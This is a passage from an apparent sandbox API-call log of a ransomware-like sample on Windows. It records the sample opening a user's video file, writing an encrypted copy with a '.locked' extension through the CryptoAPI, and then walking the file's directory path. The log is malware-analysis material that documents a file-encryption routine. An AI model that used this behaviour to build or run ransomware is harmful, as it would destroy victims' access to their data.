(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0137.597] GetFileType (hFile=0x764) returned 0x1 [0137.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.597] GetFileType (hFile=0x764) returned 0x1 [0137.597] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.597] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0137.597] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.597] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.597] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.598] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked", lpFilePart=0x0) returned 0x77 [0137.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.598] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0137.598] GetFileType (hFile=0x778) returned 0x1 [0137.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.599] GetFileType (hFile=0x778) returned 0x1 [0137.599] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.599] CryptGenRandom (in: hProv=0x8e02360, dwLen=0x10, pbBuffer=0x6a4d048 | out: pbBuffer=0x6a4d048) returned 1 [0137.599] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.599] CryptDuplicateKey (in: hKey=0x8e849b8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84a78) returned 1 [0137.599] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.599] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x4, pbData=0x6a4e304*=0x1, dwFlags=0x0) returned 1 [0137.599] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x1, pbData=0x6a4e2d0, dwFlags=0x0) returned 1 [0137.599] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xb40\x438\x24a") returned 0x0 [0137.599] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.599] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.599] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.600] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.600] ReadFile (in: hFile=0x764, lpBuffer=0x6a51860, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a51860*, lpNumberOfBytesRead=0x99ae7a8*=0x6be3, lpOverlapped=0x0) returned 1 [0137.600] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a6586c*, pdwDataLen=0x99ae79c*=0x6be0, dwBufLen=0x6be0 | out: pbData=0x6a6586c*, pdwDataLen=0x99ae79c*=0x6be0) returned 1 [0137.600] WriteFile (in: hFile=0x778, lpBuffer=0x6a4d108*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a4d108*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0137.601] WriteFile (in: hFile=0x778, lpBuffer=0x6a66858*, nNumberOfBytesToWrite=0x5bf4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a66858*, lpNumberOfBytesWritten=0x99ae780*=0x5bf4, lpOverlapped=0x0) returned 1 [0137.601] ReadFile (in: hFile=0x764, lpBuffer=0x6a51860, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a51860*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0137.602] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a6c470*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a6c470*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0137.602] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a6c4a4*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a6c4a4*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0137.602] WriteFile (in: hFile=0x778, lpBuffer=0x6a4d108*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a4d108*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0137.602] CloseHandle (hObject=0x778) returned 1 [0137.603] CloseHandle (hObject=0x764) returned 1 [0137.603] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.603] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.603] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.603] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.603] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.604] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4")) returned 0x20 [0137.605] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.605] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.605] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.605] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.605] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.605] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.605] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.605] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.605] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.605] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.606] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.606] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.606] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.606] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0137.606] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0137.606] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0137.606] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0137.606] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0137.606] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0137.606] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0137.606] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0137.607] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0137.607] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0137.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0137.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0137.607] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0137.607] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0137.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0137.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0137.607] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6")) returned 0x10 [0137.607] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6")) returned 0x10 [0137.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6", lpFilePart=0x0) returned 0x52 [0137.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6", lpFilePart=0x0) returned 0x52 [0137.608] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao")) returned 0x10 [0137.608] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao")) returned 0x10 [0137.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo", lpFilePart=0x0) returned 0x63 [0137.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo", lpFilePart=0x0) returned 0x63 [0137.608] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4")) returned 0x20 [0137.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.609] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0137.609] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.609] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4\\", lpFilePart=0x0) returned 0x71 [0137.609] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 